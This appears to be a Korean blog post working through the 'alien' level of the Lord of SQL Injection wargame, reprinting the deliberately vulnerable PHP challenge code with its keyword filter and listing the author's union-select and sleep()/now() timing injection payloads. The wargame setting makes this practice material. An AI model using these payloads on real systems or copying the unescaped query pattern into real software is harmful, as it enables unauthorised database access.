[LOS] alien

Yennytime·2023년 1월 18일
0

Lord of SQL Injection

목록 보기
12/20
post-thumbnail

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";

🔹 $_GET[no] 파라미터 필터링

admin, and, or, if, coalesce, case, _, ., prob, time, /i (대소문자를 구분하지 않음)

💙 coalesce
주어진 파라미터에 NULL이 아닌 첫 값을 리턴


첫번째 쿼리와 두번째 쿼리의 차이점은 작은 따옴표(') 처리이다.

  • 첫번째 쿼리에는 '가 없다.
  • 두번째 쿼리에는 '가 있다.

2.

 if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  • $query ($_GET[pw])
    id가 admin이 아니면 exit
    id가 admin이면 exit

  • $query2 ('$_GET[pw]')
    id와 admin이면 exit
    id와 admin이면 성공적으로 출력 (왓더헬, 뭔말이야❓❓)


🔺 풀이 과정

  1. no=' union select 1 -- 'union select '1

union select을 통해 어떻게 출력되는지 확인해보았다.

일단 정상적으로 출력되었으니, adminHex로 변환하여 입력해보자.

  1. no=' union select '0x61646d696e'%23

흠.. 일단 if문을 보면 admin O > admin X > admin X > admin O 가 순차적으로 되야 출력이 가능하다고 하니까 admin값을 중간에 바뀔 수 있게 설정해줄 수 있는 now() 함수와 sleep() 함수를 사용해보자.

예를 들어 admin > bdmin > bdmin > admin 으로 중간 값을 바꿀 수 있게 시간 설정을 해준다.

  • now()
    현재시간을 반환

  • sleep()
    시간을 경과시킴

  1. no=' union select concat(char(97%2b(!sleep(1)%26%26now()%2=1)), 0x646d696e)-- ' union select concat(char(96%2b(!sleep(1)%26%26now()%2=1)), 0x646d696e)--%20

업로드중..

  • concat()
    여러 텍스트 또는 범위의 데이터를 하나로 합쳐줌

  • ! = not

  • char(97) = a

  • char(96) = `

  • %2b = +

  • %26%26 = &&

  • 0x646d696e = dmin

  • %23 = #


아직도 잘 모르겠다..어려워..

profile
It's Yennytime💙

0개의 댓글